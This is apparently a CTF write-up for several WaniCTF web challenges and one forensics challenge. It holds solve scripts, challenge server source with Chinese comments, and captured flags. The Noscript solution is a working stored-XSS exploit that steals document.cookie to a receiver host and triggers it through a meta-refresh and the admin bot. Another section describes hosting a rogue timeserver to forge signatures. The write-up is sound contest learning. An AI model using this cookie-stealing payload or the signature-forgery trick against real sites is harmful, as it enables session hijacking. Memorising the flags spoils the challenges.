Web Bad_Worker 1 2 3 4 import requests url = 'https://web-bad-worker-lz56g6.wanictf.org/FLAG.txt' r = requests.get (url)print (r.text)
FLAG{pr0gr3ssiv3_w3b_4pp_1s_us3fu1}
POW 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 <!DOCTYPE html> <html> <head> <title>POW Client</title> </head> <body> <h1>Proof of Work</h1> <p>Calculate hashes to get the flag!</p> <p>Client status: <span id="client-status" >(no status yet)</span></p> <p>Server response: <span id="server-response" >(no hash sent yet)</span></p> <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.2.0/crypto-js.min.js" integrity="sha512-a+SUDuwNzXDvz4XrIcXHuCf089/iJAoN4lmrXJg18XnduKK6YlDHNRalv4yd1N40OKI80tFidF+rqTFKGPoWFQ==" crossorigin="anonymous" referrerpolicy="no-referrer" ></script> <script> function hash (input ) { let result = input; for (let i = 0 ; i < 10 ; i++) { result = CryptoJS.SHA256 (result); } return (result.words[0 ] & 0xFFFFFF00 ) === 0 ; } async function send (array ) { document.getElementById ("server-response" ).innerText = await fetch ( "/api/pow" , { method : "POST" , headers : { "Content-Type" : "application/json" , }, body : JSON.stringify (array ), } ).then ((r) => r.text ()); } let i = BigInt (localStorage.getItem ("pow_progress" ) || "0" ); async function main ( ) { await send ([]); async function loop ( ) { document.getElementById ( "client-status" ).innerText = `Checking ${i.toString ()}...`; localStorage.setItem ("pow_progress" , i.toString ()); for (let j = 0 ; j < 1000 ; j++) { i++; if (hash (i.toString ())) { await send ([i.toString ()]); } } requestAnimationFrame (loop); } loop (); } main (); </script> </body> </html>
要找到数字,其SHA-256哈希值经过10次哈希后,其结果的第一个字的高8位都是0 然后发送到api 1000000次验证通过得到flag 一开始以为要找到1000000个 其实可以重复发送同一个数字
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import hashlib def hash_n_times (value, n): hash_value = str (value).encode ('utf-8' ) for _ in range (n): hash_value = hashlib.sha256 (hash_value).digest () return hash_value def is_first_word_zero (hash_value): first_word = int .from_bytes (hash_value[:4 ], 'big' ) return (first_word & 0xFFFFFF00 ) == 0 for number in range (1 , 10000000 ): if is_first_word_zero (hash_n_times (number, 10 )): print ( number) break import requests import time URL = "https://web-pow-lz56g6.wanictf.org/" session = requests.session ()for _ in range (20 ): res = session.post (URL + "api/pow" , json=[str (number)]*50000 ) print (res.content) time.sleep (1 )
b'FLAG{N0nCE_reusE_i$_FUn}'
One Day One Letter 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 import json import osfrom datetime import datetimefrom http import HTTPStatusfrom http.server import BaseHTTPRequestHandler, HTTPServerfrom urllib.request import Request, urlopenfrom urllib.parse import urljoinfrom Crypto.Hash import SHA256 from Crypto.PublicKey import ECC from Crypto.Signature import DSS FLAG_CONTENT = os.environ.get ('FLAG_CONTENT' , 'abcdefghijkl' ) assert len (FLAG_CONTENT) == 12 assert all (c in 'abcdefghijklmnopqrstuvwxyz' for c in FLAG_CONTENT) def get_pubkey_of_timeserver (timeserver : str): req = Request (urljoin ('https://' + timeserver, 'pubkey' )) with urlopen (req) as res: key_text = res.read ().decode ('utf-8' ) return ECC.import_key (key_text) def get_flag_hint_from_timestamp (timestamp : int ): content = ['?' ] * 12 idx = timestamp content[idx] = FLAG_CONTENT[idx] return 'FLAG{' + '' .join (content) + '}' class HTTPRequestHandler (BaseHTTPRequestHandler ): def do_OPTIONS (self ): # 处理OPTIONS 请求,用于跨域请求的预检 self .send_response (200, "ok ") self .send_header ('Access -Control -Allow -Origin ', '*') self .send_header ('Access -Control -Allow -Methods ', 'POST , OPTIONS ') self .send_header ("Access -Control -Allow -Headers ", "X -Requested -With ") self .send_header ("Access -Control -Allow -Headers ", "Content -Type ") self .end_headers () def do_POST (self ): try : nbytes = int (self .headers .get ('content -length ')) # 获取请求体的长度 body = json .loads (self .rfile .read (nbytes ).decode ('utf -8')) # 读取并解析JSON 请求体 timestamp = body ['timestamp '].encode ('utf -8') # 获取并编码时间戳 signature = bytes .fromhex (body ['signature ']) # 将签名从十六进制转换为字节 timeserver = body ['timeserver '] # 获取时间服务器地址 pubkey = get_pubkey_of_timeserver (timeserver ) # 获取时间服务器的公钥 h = SHA256 .new (timestamp ) # 计算时间戳的SHA256 哈希值 verifier = DSS .new (pubkey , 'fips -186-3') # 创建DSS 验证器 verifier .verify (h , signature ) # 验证签名 # 如果验证成功,发送响应 self .send_response (HTTPStatus .OK ) self .send_header ('Content -Type ', 'text /plain ; charset =utf -8') self .send_header ('Access -Control -Allow -Origin ', '*') self .end_headers () dt = datetime .fromtimestamp (int (timestamp )) # 将时间戳转换为日期时间对象 res_body = f '''<p >Current time is {dt.date ()} {dt.time ()}.</p> <p>Flag is {get_flag_hint_from_timestamp (int (timestamp))}.</p> <p>You can get only one letter of the flag each day.</p> <p>See you next day.</p>'' ' self.wfile.write(res_body.encode(' utf-8 ')) # 将响应体写入并发送给客户端 self.requestline # 记录请求行(虽然在此处并没有实际作用) except Exception: # 如果验证失败,发送未授权响应 self.send_response(HTTPStatus.UNAUTHORIZED) self.end_headers() # 创建HTTP服务器实例,绑定到本地地址和端口5000 handler = HTTPRequestHandler httpd = HTTPServer((' ', 5000), handler) # 服务器开始运行,开始处理请求 httpd.serve_forever()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from http import HTTPStatusfrom http.server import BaseHTTPRequestHandler, HTTPServer import json import timefrom Crypto.Hash import SHA256from Crypto.PublicKey import ECCfrom Crypto.Signature import DSS key = ECC.generate (curve='p256' ) pubkey = key.public_key ().export_key (format='PEM' )class HTTPRequestHandler (BaseHTTPRequestHandler ): def do_GET (self ): if self .path == '/pubkey ': # 处理获取公钥的请求 self .send_response (HTTPStatus .OK ) # 发送HTTP 200状态码 self .send_header ('Content -Type ', 'text /plain ; charset =utf -8') # 设置响应头,内容类型为纯文本 self .send_header ('Access -Control -Allow -Origin ', '*') # 允许跨域请求 self .end_headers () # 结束响应头 res_body = pubkey # 公钥作为响应体 self .wfile .write (res_body .encode ('utf -8')) # 将公钥写入响应体并发送给客户端 self .requestline # 记录请求行(虽然在此处并没有实际作用) else : # 处理获取时间戳和签名的请求 timestamp = str (int (time .time ())).encode ('utf -8') # 获取当前时间戳,并编码为字节串 h = SHA256 .new (timestamp ) # 使用SHA -256哈希算法计算时间戳的哈希值 signer = DSS .new (key , 'fips -186-3') # 使用ECC 密钥和DSS 签名方案创建签名器 signature = signer .sign (h ) # 对哈希值进行签名 self .send_response (HTTPStatus .OK ) # 发送HTTP 200状态码 self .send_header ('Content -Type ', 'application /json ; charset =utf -8') # 设置响应头,内容类型为JSON self .send_header ('Access -Control -Allow -Origin ', '*') # 允许跨域请求 self .end_headers () # 结束响应头 res_body = json .dumps ( {'timestamp' : timestamp.decode ('utf-8' ), 'signature' : signature.hex ()}) self .wfile.write (res_body.encode ('utf-8' )) handler = HTTPRequestHandler httpd = HTTPServer (('' , 5001 ), handler) httpd.serve_forever ()
根据时间戳签名来认证 这里主要关键服务是timeserver,私钥公钥以及时间戳和签名都在这生成 没有私钥不可能伪造签名 注意请求的payload有一个timeserver的url字段,可以控制 想要自己控制私钥,可以自己vps搭一个timeserver 不过要https,vps得有域名ssl
Noscript 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requests URL = "https://web-noscript-lz56g6.wanictf.org/" RECEIVER = "http://ip:port/" res = requests.post (URL + "signin" )print (res.text) id1 = res.url.split ("/" )[-1 ] res = requests.post (URL + "user/" + id1 , data={ "username" : f'' '<script>new Image().src = ("{RECEIVER}/?flag=" + document.cookie)</script>' '' , "profile" : "test" }) res = requests.post (URL + "signin" ) id2 = res.url.split ("/" )[-1 ]print (f'' '<meta http-equiv="refresh" content="0;{URL + "username/" + id1}">' '' ) res = requests.post (URL + "user/" + id2 , data={ "username" : '' 'test' '' , "profile" : f'' '<meta http-equiv="refresh" content="0;{"http://app:8080/username/" + id1}">' '' })print (id1)print (id2) res = requests.post (URL + "report/" , data={ "url" : "/user/" + id2})
vps开http.server
Forensics Surveillance_of_sus https://github.com/ANSSI-FR/bmc-tools FLAG{RDP_is_useful_yipeee}